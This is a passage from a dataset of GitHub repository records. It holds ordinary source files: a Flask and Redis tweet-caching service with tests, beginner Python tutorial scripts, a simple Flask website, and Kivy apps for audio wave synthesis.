[]\n schemas.append(fti.lookupSchema())\n\n for behavior_schema in \\\n utils.getAdditionalSchemata(self.context,\n self.context.portal_type):\n if behavior_schema is not None:\n schemas.append(behavior_schema)\n\n doomed = False\n for schema in schemas:\n for field_name in schema:\n if ILanguageIndependentField.providedBy(schema[field_name]):\n doomed = True\n\n value = getattr(schema(self.context), field_name, _marker)\n if IRelationValue.providedBy(value):\n obj = value.to_object\n adapter = queryAdapter(translation, ILanguage)\n trans_obj = ITranslationManager(obj)\\\n .get_translation(adapter.get_language())\n if trans_obj:\n intids = component.getUtility(IIntIds)\n value = RelationValue(intids.getId(trans_obj))\n if not (value == _marker):\n # We check if not (value == _marker) because\n # z3c.relationfield has an __eq__\n setattr(schema(translation), field_name, value)\n\n # If at least one field has been copied over to the translation\n # we need to inform subscriber to trigger an ObjectModifiedEvent\n # on that translation.\n return doomed\n" } ]
20
joanamcsp/latest-tweets
https://github.com/joanamcsp/latest-tweets
ffe8af9663c444b6da918edb6bca061fa242c9ba
91986ba8e52ba522de4c4ca2c44633f7105488cb
54cc95ff5aaa7bbc3a6d98feb72b08b3f315417e
refs/heads/master
2021-04-09T10:59:12.082053
2019-02-10T18:30:59
2019-02-10T18:30:59
125,440,304
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6890380382537842, "alphanum_fraction": 0.6890380382537842, "avg_line_length": 21.299999237060547, "blob_id": "24b7b566a425f01ccd328e7c6df6a6a4ff836186", "content_id": "7088d3aec4467b368b0817fb5e7e00568b1607d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 447, "license_type": "no_license", "max_line_length": 60, "num_lines": 20, "path": "/src/helpers.py", "repo_name": "joanamcsp/latest-tweets", "src_encoding": "UTF-8", "text": "\nimport redis\nimport json\nimport config\n\ndef connect_to_redis():\n return redis.Redis(config.REDIS_HOST, config.REDIS_PORT)\n\ncache = connect_to_redis()\n\ndef load_from_cache(key):\n results = cache.get(key)\n if results is not None :\n return json.loads(results)\n return None\n\ndef add_to_cache(key, results):\n results = json.dumps(results)\n cache.delete(key)\n cache.set(key, results)\n cache.expire(key, config.CACHE_TTL)\n" }, { "alpha_fraction": 0.7215189933776855, "alphanum_fraction": 0.7405063509941101, "avg_line_length": 13.363636016845703, "blob_id": "9e4b5c07dd8142ecb336f7cec53c5c2808dbda7e", "content_id": "d8cf068c52eb16fed230698a2b04dba1c1aeba6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 158, "license_type": "no_license", "max_line_length": 42, "num_lines": 11, "path": "/Dockerfile", "repo_name": "joanamcsp/latest-tweets", "src_encoding": "UTF-8", "text": "FROM python:3.6\n\nADD requirements.txt /app/requirements.txt\n\nCOPY src/*.py /app/\n\nWORKDIR /app/\n\nRUN pip install -r requirements.txt\n\nCMD python3 /app/app.py\n" }, { "alpha_fraction": 0.6934523582458496, "alphanum_fraction": 0.726190447807312, "avg_line_length": 20, "blob_id": "25310251d557c5a0d6cb1977131f4fda919e77a1", "content_id": "dc04ec559887c1f703a715defc6959e4abe4f406", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 336, "license_type": "no_license", "max_line_length": 55, "num_lines": 16, "path": "/src/config.py", "repo_name": "joanamcsp/latest-tweets", "src_encoding": "UTF-8", "text": "import os\n\nDEBUG = True\n\nCONSUMER_KEY = os.environ[\"CONSUMER_KEY\"]\nCONSUMER_SECRET = os.environ[\"CONSUMER_SECRET\"]\nACCESS_TOKEN_KEY = os.environ[\"ACCESS_TOKEN_KEY\"]\nACCESS_TOKEN_SECRET = os.environ[\"ACCESS_TOKEN_SECRET\"]\n\nUSERNAME = '@realdonaldtrump'\nNUMBER_OF_TWEETS = 100\n\nREDIS_HOST = 'redis'\nREDIS_PORT = 6379\n\nCACHE_TTL = 60 * 60\n" }, { "alpha_fraction": 0.6042624115943909, "alphanum_fraction": 0.6138737797737122, "avg_line_length": 30.077922821044922, "blob_id": "be503bbb6bafba4be3f0d1665cd31344a7ab1aaf", "content_id": "236ca4997f220c9628a7b44a685e0f3879d04cee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2393, "license_type": "no_license", "max_line_length": 137, "num_lines": 77, "path": "/src/app.py", "repo_name": "joanamcsp/latest-tweets", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom helpers import *\n\nimport tweepy\nimport json\nimport redis\nimport time\nimport config\n\napp = Flask(__name__)\ncache = connect_to_redis()\n\nauth = tweepy.OAuthHandler(config.CONSUMER_KEY, config.CONSUMER_SECRET)\nauth.set_access_token(config.ACCESS_TOKEN_KEY, config.ACCESS_TOKEN_SECRET)\napi = tweepy.API(auth, parser=tweepy.parsers.JSONParser())\n\[email protected]('/trump', methods=[\"GET\"])\ndef latest():\n \"\"\"\"\n get 100 latest tweets\n \"\"\"\n return json.dumps(get_latest())\n\[email protected]('/trump/popularity', methods=[\"GET\"])\ndef popularity():\n \"\"\"\"\n get 100 latest tweets ordered by number of likes\n \"\"\"\n key = 'trump_popularity'\n latest = load_from_cache(key)\n if latest is None :\n latest = get_latest()\n latest.sort(key=lambda x: x['favorite_count'], reverse=True)\n add_to_cache(key, latest)\n return json.dumps(latest)\n\[email protected]('/trump/activity', methods=[\"GET\"])\ndef activity():\n \"\"\"\"\n get 5 with most recent retweet from 100 latest tweets\n \"\"\"\n key = 'trump_activity'\n activity = load_from_cache(key)\n if activity is None:\n activity = get_latest()[:5]\n last_retweeted = {}\n for tweet in activity:\n #returns most recent retweets of the tweet specified by the id parameter\n try:\n recent_retweets = api.retweets(tweet['id'], 1)\n except TweepError as e:\n print('Failed to get data. Status code: ', e.message[0]['code'])\n return []\n created_at = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(recent_retweets[0]['created_at'],'%a %b %d %H:%M:%S +0000 %Y'))\n last_retweeted[created_at] = tweet\n latest = [key for key in last_retweeted]\n latest.sort(reverse=True)\n activity = [last_retweeted[tweet] for tweet in latest]\n add_to_cache(key, activity)\n return json.dumps(activity)\n\ndef get_latest():\n key = 'trump_latest'\n latest = load_from_cache(key)\n if latest is None :\n try:\n latest = api.user_timeline(screen_name = config.USERNAME, count = config.NUMBER_OF_TWEETS)\n except TweepError as e:\n print('Failed to get data. Status code: ', e.message[0]['code'])\n return []\n add_to_cache(key, latest)\n return latest\n\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", debug=config.DEBUG)\n" }, { "alpha_fraction": 0.5255255103111267, "alphanum_fraction": 0.5525525808334351, "avg_line_length": 16.526315689086914, "blob_id": "93095a403ca693023878a1110417b3c7dc427afb", "content_id": "29ca7065ea123f6e3e718c98d425fcf8a467bb34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "YAML", "length_bytes": 333, "license_type": "no_license", "max_line_length": 30, "num_lines": 19, "path": "/docker-compose.yml", "repo_name": "joanamcsp/latest-tweets", "src_encoding": "UTF-8", "text": "version: '2'\nservices:\n web:\n build:\n context: .\n dockerfile: Dockerfile\n hostname: web\n ports:\n - \"5000:5000\"\n depends_on:\n - redis\n environment:\n - CONSUMER_KEY\n - CONSUMER_SECRET\n - ACCESS_TOKEN_KEY\n - ACCESS_TOKEN_SECRET\n redis:\n image: redis\n hostname: redis\n" }, { "alpha_fraction": 0.6127355694770813, "alphanum_fraction": 0.630929172039032, "avg_line_length": 36.53658676147461, "blob_id": "e3b51b97fcbe0e7108be22aea5c5af6eb1e89413", "content_id": "85d7820eb4a4b40234dbe83af9e2a5f43f65a664", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1539, "license_type": "no_license", "max_line_length": 150, "num_lines": 41, "path": "/tests/tests.py", "repo_name": "joanamcsp/latest-tweets", "src_encoding": "UTF-8", "text": "import unittest\nimport requests\nimport json\nimport time\n\n\nclass ApiTest(unittest.TestCase):\n def setUp(self):\n self.url = \"http://127.0.0.1:5000\"\n self.main_path = \"/trump\"\n self.popularity_path = self.main_path + \"/popularity\"\n self.activity_path = self.main_path + \"/activity\"\n\n def tearDown(self):\n self.url = None\n self.main_path = None\n self.popularity_path = None\n self.activity_path = None\n\n def test_main(self):\n response = requests.get(self.url + self.main_path)\n self.assertEqual(response.status_code, 200)\n latest_tweets = json.loads(response.text)\n time_stamps = [time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(tweet['created_at'],'%a %b %d %H:%M:%S +0000 %Y')) for tweet in latest_tweets]\n self.assertTrue(all(time_stamps[i] >= time_stamps[i+1] for i in range(len(time_stamps)-1)))\n\n def test_popularity(self):\n response = requests.get(self.url + self.popularity_path)\n self.assertEqual(response.status_code, 200)\n latest_tweets = json.loads(response.text)\n likes = [tweet['favorite_count'] for tweet in latest_tweets]\n self.assertTrue(all(likes[i] >= likes[i+1] for i in range(len(likes)-1)))\n\n def test_activity(self):\n response = requests.get(self.url + self.activity_path)\n self.assertEqual(response.status_code, 200)\n latest_tweets = json.loads(response.text)\n self.assertTrue(len(latest_tweets) <= 5)\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.7290409207344055, "alphanum_fraction": 0.7437961101531982, "avg_line_length": 32.8863639831543, "blob_id": "af675c4217f2824cee91059ead3bdf9f6a7c4403", "content_id": "6fa8f9b8f47eacd31eba91e7263b48ffa2fbc058", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1491, "license_type": "no_license", "max_line_length": 157, "num_lines": 44, "path": "/README.md", "repo_name": "joanamcsp/latest-tweets", "src_encoding": "UTF-8", "text": "# latest-tweets\n[![Build Status](https://travis-ci.org/joanaMCSP/latest_tweets.svg?branch=master)](https://travis-ci.org/joanaMCSP/latest_tweets)\n\nSmall Python service using Flask and Redis to get a user's latest 100 tweets. It exposes the following endpoints:\n\n* /trump - returns @realdonaldtrump's latest 100 tweets \n* /trump/popularity - returns latest 100 tweets sorted by number of likes \n* /trump/activity - returns latest 5 tweets with most retweets \n\nRedis is used to cache the results obtained from Twitter's API for an hour. Both services run in Docker containers.\n\n## Set up\n\nUpon starting the service the config file will look for the following values\nwhich are specified as environment variables for the container in the docker-compose.yml:\n\n* CONSUMER_KEY\n* CONSUMER_SECRET\n* ACCESS_TOKEN_KEY\n* ACCESS_TOKEN_SECRET\n\nYou can get these values from http://dev.twitter.com by creating a twitter account and application and going to the API Keys tab.\n\n## Running\n\n- install docker-compose\n- in the command line run: \n\n ```\n $docker-compose up \n ```\n\nGo to http://localhost:5000/trump, http://localhost:5000/trump/popularity \nor http://localhost:5000/trump/activity through your browser or use curl alternatively.\n\n## Testing\n\nThis repository is integrated with Travis CI to run the API tests everytime code is pushed, but the tests can also be run by entering the following commands:\n\n ```\n $docker-compose up \n $python tests/tests.py \n\n ```\n" } ]
7
Ashish-Goyal1234/Python-Tutorial-by-Ratan
https://github.com/Ashish-Goyal1234/Python-Tutorial-by-Ratan
c85f367614f4556257d3139f23f95b7d2c1a2dcc
54bb285e18616b3595695f02f9e5b4b2b4f30566
9c07f9ce34a65a92f6ae5cd32739bd9bad598a11
refs/heads/master
2023-02-23T23:36:39.975685
2021-01-26T08:56:35
2021-01-26T08:56:35
333,025,814
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5483871102333069, "alphanum_fraction": 0.6129032373428345, "avg_line_length": 5.400000095367432, "blob_id": "30738ca33e37d8a6ee60d3d20b5237d33ba49156", "content_id": "35d70d8e64c299379d5e2bac8acb4c0ed120d288", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 31, "license_type": "no_license", "max_line_length": 8, "num_lines": 5, "path": "/ProgrammesByRatan/6_delete_Variable_or_NameError.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "a = 10\nprint(a)\n\ndel a\nprint(a)" }, { "alpha_fraction": 0.6346153616905212, "alphanum_fraction": 0.6730769276618958, "avg_line_length": 51, "blob_id": "91b325a8c92f89136806632c75583edd352798e2", "content_id": "deb73f7b55a22dc0634f6d724f9fcbf6acd2cd7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 468, "license_type": "no_license", "max_line_length": 99, "num_lines": 9, "path": "/Types_OF_Error_In_Python/3_Value_Error.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "num1 = input(\"Enter first number :\") # takes the data only in String format in 3.x python version\nnum2 = input(\"Enter second number :\") # takes the data only in String format in 3.x python version\nadd1 = num1 + num2\nadd2 = int(num1) + int(num2)\n\nprint(\"Addition :\", add1) # Output will be 1020\nprint(\"Addition :\", add2) # Output will be 30\n\n# In console Instead of sending int value, send float value or String value and check the error\n" }, { "alpha_fraction": 0.48275861144065857, "alphanum_fraction": 0.6896551847457886, "avg_line_length": 6.5, "blob_id": "6a4b1345d6a67997450f65859956d6323ce8eefb", "content_id": "e09c9006874efbc604d2323fff2f797554c9686c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 29, "license_type": "no_license", "max_line_length": 8, "num_lines": 4, "path": "/ProgrammesByRatan/4_Reassigning_Variable.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "a=10\nprint(a)\na=1000\nprint(a)" }, { "alpha_fraction": 0.5022222399711609, "alphanum_fraction": 0.5377777814865112, "avg_line_length": 21.5, "blob_id": "f40ec26c3c9cd4f2bec745f77e0207d5e32253e0", "content_id": "ef4f04752ede06479346c97620d762e58baea409", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 225, "license_type": "no_license", "max_line_length": 62, "num_lines": 10, "path": "/ProgrammesByRatan/8_Taking_Input_From_User.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "num1 = input(\"Enter first number :\")\nnum2 = input(\"Enter second number :\")\nadd = int(num1) + int(num2)\nprint(\"Addition :\", add)\n\nprint(\"************* without using input *******************\")\na = 10\nb = 10\nc = a + b\nprint(c)\n" }, { "alpha_fraction": 0.5699999928474426, "alphanum_fraction": 0.6100000143051147, "avg_line_length": 11.625, "blob_id": "8009aaeddf3e2712ca8de54e3adc28d23c6a0cb9", "content_id": "e4158f8938c343ccea7ea13e1a82a407b0230952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 100, "license_type": "no_license", "max_line_length": 37, "num_lines": 8, "path": "/ProgrammesByRatan/5_Swapping_Data.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "a,b=10,20\nprint(a)\nprint(b) # Before swapping\n\na,b=b,a\n# After Swapping\nprint(a)\nprint(b)" }, { "alpha_fraction": 0.43478259444236755, "alphanum_fraction": 0.52173912525177, "avg_line_length": 21, "blob_id": "b271c97672eb45d14976f11aa80b30bf5d55ad20", "content_id": "70ca3a0582ea640c693e003ef2f2147944c00f41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 23, "license_type": "no_license", "max_line_length": 21, "num_lines": 1, "path": "/Types_OF_Error_In_Python/1_TypeError.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "# print(10 + \"ratan\") " }, { "alpha_fraction": 0.6682692170143127, "alphanum_fraction": 0.6682692170143127, "avg_line_length": 40.599998474121094, "blob_id": "0c8e91e728c8f1b8d0bde052a601429ce66a6a5a", "content_id": "aace19f5585e5a600e9419a1054e65ee079a2019", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 208, "license_type": "no_license", "max_line_length": 80, "num_lines": 5, "path": "/AssignmentsByRatan/1_TakeinputFromUserAndPrint.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "eid = int(input(\"Enter Employee ID :\"))\nename = input(\"Enter Employee name :\")\nesal = float(input(\"Enter Employee Salary :\"))\n\nprint(\"Employee ID :\", eid, \"Employee Name :\", ename, \"Employee Salary :\", esal)\n" }, { "alpha_fraction": 0.6308411359786987, "alphanum_fraction": 0.6308411359786987, "avg_line_length": 46.66666793823242, "blob_id": "c561779fd62760fa87f23874ef8352ae2e4e2763", "content_id": "e521d3e0b81d82fc7612adeeb7b3b0d9935192c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 428, "license_type": "no_license", "max_line_length": 117, "num_lines": 9, "path": "/ProgrammesByRatan/9_Formatting_data.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "eid = int(input(\"Enter Employee ID :\"))\nename = input(\"Enter Employee name :\")\nesal = float(input(\"Enter Employee Salary :\"))\n\nprint(\"Employee id : %d ,Employee name : %s ,Employee Salary : %g\" %(eid, ename, esal)) # order is important.\n\nprint(\"************ By using Parantehsis(old approach) *************\")\n\nprint(\"Employee id : {},Employee name : {},Employee Salary :{}\" .format(eid, ename, esal)) # order is not important." }, { "alpha_fraction": 0.5425100922584534, "alphanum_fraction": 0.5890688300132751, "avg_line_length": 44, "blob_id": "5cdadf056bff7aeef9ca0c59272d9c976353b435", "content_id": "a21abe1a31926f528e0f7f0b29ce03e84ab5be9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 494, "license_type": "no_license", "max_line_length": 111, "num_lines": 11, "path": "/ProgrammesByRatan/3_Python_Concatenation.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "# In python it is possible to concatenate only similar type of data\nprint(10 + 20) # possible\nprint(\"ratan\" + \"ratan\") # Possible\nprint(10.5 + 10.5) # Possible\nprint(True + True) # Possible\n\n# print(10 + \"ratan\") # Not possible : We will face type error because both are different type of data\n\nprint(10+True) # Possible : Because true is 1 so possible.\nprint(10.5+False) # Possible\nprint(10+20.5) # Possible" }, { "alpha_fraction": 0.49444442987442017, "alphanum_fraction": 0.6222222447395325, "avg_line_length": 11, "blob_id": "720549b66813015a6240bb6d92519a349bb6ed66", "content_id": "7b0ef3e9d2a2e4135ac0ee970a5bca419445a4ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 180, "license_type": "no_license", "max_line_length": 38, "num_lines": 15, "path": "/ProgrammesByRatan/2_SingleLineCode.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "eid, ename, esal=111, \"ratan\", 1000.45\n\nprint(type(eid))\nprint(type(ename))\nprint(type(esal))\n\n\na,b,c = 10,20,30\nprint(a+b+c)\n\na,b,c = 10,10,10\nprint(a+b+c)\n\na=b=c=10\nprint(a+b+c)\n" }, { "alpha_fraction": 0.48659002780914307, "alphanum_fraction": 0.5134099721908569, "avg_line_length": 29.705883026123047, "blob_id": "68ef119867d79265f05112e050e6e3dab0d7a200", "content_id": "3afdfe471a4af46dd4c42656df7e4057b5ccf737", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 522, "license_type": "no_license", "max_line_length": 112, "num_lines": 17, "path": "/ProgrammesByRatan/7_Different_Ways_for_Printing_the_data.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "eid, ename, esal = 1001, \"ashish\", 10000.5\n\nprint(\"*********** Way 1 ************\")\nprint(eid)\nprint(ename)\nprint(esal)\n\nprint(\"*********** Way 2 ************\")\nprint(\"Employee id :\", eid) # In java we use +(plus) operator but in python we use , (comma)\nprint(\"Employee name\", ename)\nprint(\"Employee Salary\", esal)\n\nprint(\"*********** Way 3 ************\")\nprint(eid, ename, esal)\n\nprint(\"*********** Way 3 ************\")\nprint(\"Employee ID :\", eid, \"Employee Name :\", ename, \"Employee Salary :\", esal)\n" }, { "alpha_fraction": 0.6363636255264282, "alphanum_fraction": 0.7386363744735718, "avg_line_length": 13.833333015441895, "blob_id": "19048151b57c3506f595fc50759b8598c203c673", "content_id": "e1dae578b8af73dbf487791780e5c09995fdb67f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 88, "license_type": "no_license", "max_line_length": 18, "num_lines": 6, "path": "/ProgrammesByRatan/1_type()_usage.py", "repo_name": "Ashish-Goyal1234/Python-Tutorial-by-Ratan", "src_encoding": "UTF-8", "text": "eid=111\nename=\"ratan\"\nesal=1000.24\nprint(type(eid))\nprint(type(ename))\nprint(type(esal))" } ]
12
vijayakumarchinthala/Simple-webite-using-Flask-Python
https://github.com/vijayakumarchinthala/Simple-webite-using-Flask-Python
a626f7522d3a30bf4a84405c184d8175a7ab347a
ef497acb7e0e5c3dfc89aeaa00c816e8ade62221
a2b9151990123ced13c138ebce9b6e95c25acbc0
refs/heads/main
2023-03-05T14:59:28.399428
2021-02-22T05:56:11
2021-02-22T05:56:11
341,092,327
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.7426470518112183, "alphanum_fraction": 0.7647058963775635, "avg_line_length": 52.043479919433594, "blob_id": "de03c2def33346bbfc0a5428c31550ec1e048b21", "content_id": "2b4b7b5287fbcc423ef695b01c12429308fb5cdb", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1224, "license_type": "permissive", "max_line_length": 211, "num_lines": 23, "path": "/README.md", "repo_name": "vijayakumarchinthala/Simple-webite-using-Flask-Python", "src_encoding": "UTF-8", "text": "# Simple-webite-using-Flask-Python\nCBSE Class 12 Computer Science(083) Python Project\nFlask:\nFlask is a micro web framework written in Python. It is classified as a microframework because it does not require particular tools or libraries.\nFlask is a lightweight WSGI web application framework. It is designed to make getting started quick and easy, with the ability to scale up to complex applications.\n\nFollow the below steps to create a simple website using Flask\n\n1. Create an app.py file and copy-paste the #app.py code there.\n2. Create two folders named templates and a static folder. Those folders should be in the same directory with your app.py file.\n3. Create four files inside the templates folder, layout.html, home.html, about.html , and main.css and copy-paste the code of #layout.html, #home.html, #about.html and #main.css in those files, respectively.\n4. Execute app.py in pycharm\n5. Visit localhost:5000(http://127.0.0.1:5000/) on your browser to see the website.\n6. If you get an error make sure you created the correct directory structure as explained in steps 1 to 3 It should be:\n templates/\n layout.html\n home.html\n about.html\n main.css\n static/\n photo.jpg\n slides.gif\n app.py\n \n" }, { "alpha_fraction": 0.5298507213592529, "alphanum_fraction": 0.5621890425682068, "avg_line_length": 12.962963104248047, "blob_id": "1f2283df9847e25b5732db025ddcef43d9fd8034", "content_id": "a77018e5eebc644dabef1d5b48dc75c137633353", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 402, "license_type": "permissive", "max_line_length": 48, "num_lines": 27, "path": "/app.py", "repo_name": "vijayakumarchinthala/Simple-webite-using-Flask-Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 16 09:20:56 2021\r\n\r\n@author:C Vijaya Kumar\r\n\"\"\"\r\n\r\nfrom flask import Flask, render_template,url_for\r\n\r\n\r\n\r\n\r\napp=Flask(__name__)\r\n\r\[email protected]('/')\r\ndef home():\r\n app.route('/')\r\n return render_template(\"home.html\")\r\n\r\[email protected]('/about/')\r\ndef about():\r\n\r\n return render_template(\"about.html\")\r\n\r\n\r\nif __name__==\"__main__\":\r\n app.run(debug=True)" } ]
2
siaaaa4a/myApp
https://github.com/siaaaa4a/myApp
631da823957c2c6f3a35a30ec76f6a0e45bdad59
f64f93ed8a8122c444a14961926f5be7644b4dad
c4c74a92b919aa8351e7a184e74ff10d7f609a7e
refs/heads/master
2020-03-26T10:26:01.920183
2018-08-20T15:40:56
2018-08-20T15:40:56
144,797,445
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8333333134651184, "alphanum_fraction": 0.8611111044883728, "avg_line_length": 17, "blob_id": "e403800e79c266e9b9373c2c68d7294d397407ae", "content_id": "d480c63129630688ac060acc8b42de5fe5d5316b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 264, "license_type": "no_license", "max_line_length": 32, "num_lines": 6, "path": "/subscripts/subscript.md", "repo_name": "siaaaa4a/myApp", "src_encoding": "UTF-8", "text": "その他暇つぶしに作ったもの。\nちょいちょい使うものから実験用のスクリプトのまとめ。\n\napp1:\n sin波とcos波をこちらで作成してwavデータにまとめる。\n kivyでそれぞれ10種の周波数まで合成可能。\n" }, { "alpha_fraction": 0.46247273683547974, "alphanum_fraction": 0.48551854491233826, "avg_line_length": 29.29245376586914, "blob_id": "ced4738bda4ed0578285b2b7de21276851b5aca6", "content_id": "30a406eb84a084cebf44adac644ed70c29f5a429", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3211, "license_type": "no_license", "max_line_length": 76, "num_lines": 106, "path": "/subscripts/app1/main.py", "repo_name": "siaaaa4a/myApp", "src_encoding": "UTF-8", "text": "# coding:utf-8\n\nimport numpy as np\nimport struct\nimport pyaudio\nimport wave\n#import matplotlib.pyplot as plt\n\n\nfrom kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.boxlayout import BoxLayout\n\n\nclass MainWidget(Widget):\n\n def __init__(self, **kwargs):\n super(MainWidget, self).__init__(**kwargs)\n self.List = [[\"sin_a_1\", \"sin_hz_1\", \"cos_a_1\", \"cos_hz_1\"],\n [\"sin_a_2\", \"sin_hz_2\", \"cos_a_2\", \"cos_hz_2\"],\n [\"sin_a_3\", \"sin_hz_3\", \"cos_a_3\", \"cos_hz_3\"],\n [\"sin_a_4\", \"sin_hz_4\", \"cos_a_4\", \"cos_hz_4\"],\n [\"sin_a_5\", \"sin_hz_5\", \"cos_a_5\", \"cos_hz_5\"],\n [\"sin_a_6\", \"sin_hz_6\", \"cos_a_6\", \"cos_hz_6\"],\n [\"sin_a_7\", \"sin_hz_7\", \"cos_a_7\", \"cos_hz_7\"],\n [\"sin_a_8\", \"sin_hz_8\", \"cos_a_8\", \"cos_hz_8\"],\n [\"sin_a_9\", \"sin_hz_9\", \"cos_a_9\", \"cos_hz_9\"],\n [\"sin_a_10\", \"sin_hz_10\", \"cos_a_10\", \"cos_hz_10\"],]\n\n self.Rate = int(self.ids[\"rate_input\"].text)\n self.Time = float(self.ids[\"time_input\"].text)\n self.Flg = False\n\n def startWave(self):\n self.Rate = int(self.ids[\"rate_input\"].text)\n self.Time = float(self.ids[\"time_input\"].text)\n x = np.arange(0, self.Time, 1/self.Rate)\n\n self.saveWave = np.zeros(len(x))\n tmp_wave = []\n for i in range(10):\n sin_a = float(self.ids[self.List[i][0]].text)\n sin_hz = float(self.ids[self.List[i][1]].text)\n cos_a = float(self.ids[self.List[i][2]].text)\n cos_hz = float(self.ids[self.List[i][3]].text)\n\n tmp_wave = sin_a * np.sin(2*np.pi*sin_hz*x)\n tmp_wave += cos_a * np.cos(2*np.pi*cos_hz*x)\n\n self.saveWave += tmp_wave\n\n self.normal2bite()\n\n p = pyaudio.PyAudio()\n stream = p.open( format=pyaudio.paInt16,\n channels=1,\n rate=self.Rate,\n frames_per_buffer=1024,\n input=False,\n output=True)\n\n stream.write(self.data)\n\n stream.stop_stream()\n stream.close()\n p.terminate()\n\n self.Flg = True\n\n\n\n def save(self):\n if self.Flg:\n import datetime\n todaydateil = datetime.datetime.today()\n fileName = str(todaydateil.strftime(\"%Y%m%d_%H_%M_%S\"))\n fileName = \"./save/{}.wav\".format(fileName)\n\n wf = wave.open(fileName, \"wb\")\n wf.setnchannels(1)\n wf.setsampwidth(2)\n wf.setframerate(self.Rate)\n wf.writeframes(self.data)\n wf.close()\n\n\n def normal2bite(self):\n ampAbs = np.absolute(self.saveWave)\n ampMax = np.amax(ampAbs)\n\n if ampMax >= 1.0:\n self.saveWave /= ampMax\n\n self.data = [int(x * 32767.0) for x in self.saveWave]\n self.data = struct.pack(\"h\" * len(self.data), *self.data)\n\n\nclass MainApp(App):\n\n def build(self):\n mainWidget = MainWidget()\n return mainWidget\n\n\nif __name__ == \"__main__\":\n MainApp().run()\n" }, { "alpha_fraction": 0.6276595592498779, "alphanum_fraction": 0.6702127456665039, "avg_line_length": 6.75, "blob_id": "09603e0d59c0c5383a6e9a5fd09d67492fd86920", "content_id": "ba7ad0575b515813f3b6432538781481d9caaf98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 114, "license_type": "no_license", "max_line_length": 18, "num_lines": 12, "path": "/README.md", "repo_name": "siaaaa4a/myApp", "src_encoding": "UTF-8", "text": "SPTK.zipを解凍してから実行。\n\n**libs**\n\nsys,\nsubprocess,\nos,\nstruct,\nwave,\npyaudio,\n\nkivy : ver 1.10.1\n\n" }, { "alpha_fraction": 0.5454126596450806, "alphanum_fraction": 0.5629322528839111, "avg_line_length": 27.728477478027344, "blob_id": "da35d0ab58b8e6da6aec9a49a1bc844655952cee", "content_id": "54afba3bba38fac224b042be6fe5d54425f0bb43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4518, "license_type": "no_license", "max_line_length": 356, "num_lines": 151, "path": "/main.py", "repo_name": "siaaaa4a/myApp", "src_encoding": "UTF-8", "text": "# coding:utf-8\n\nimport sys\nimport pyaudio\nimport subprocess\nimport os\nimport struct\nimport wave\n\nfrom kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.clock import Clock\n\nfrom kivy.properties import BooleanProperty, NumericProperty\n\n\nclass SoundWidget(Widget):\n # 音声合成時の利用パラメータ\n pitch_var = NumericProperty(2.0)\n voice_switch = BooleanProperty(False)\n\n\n def 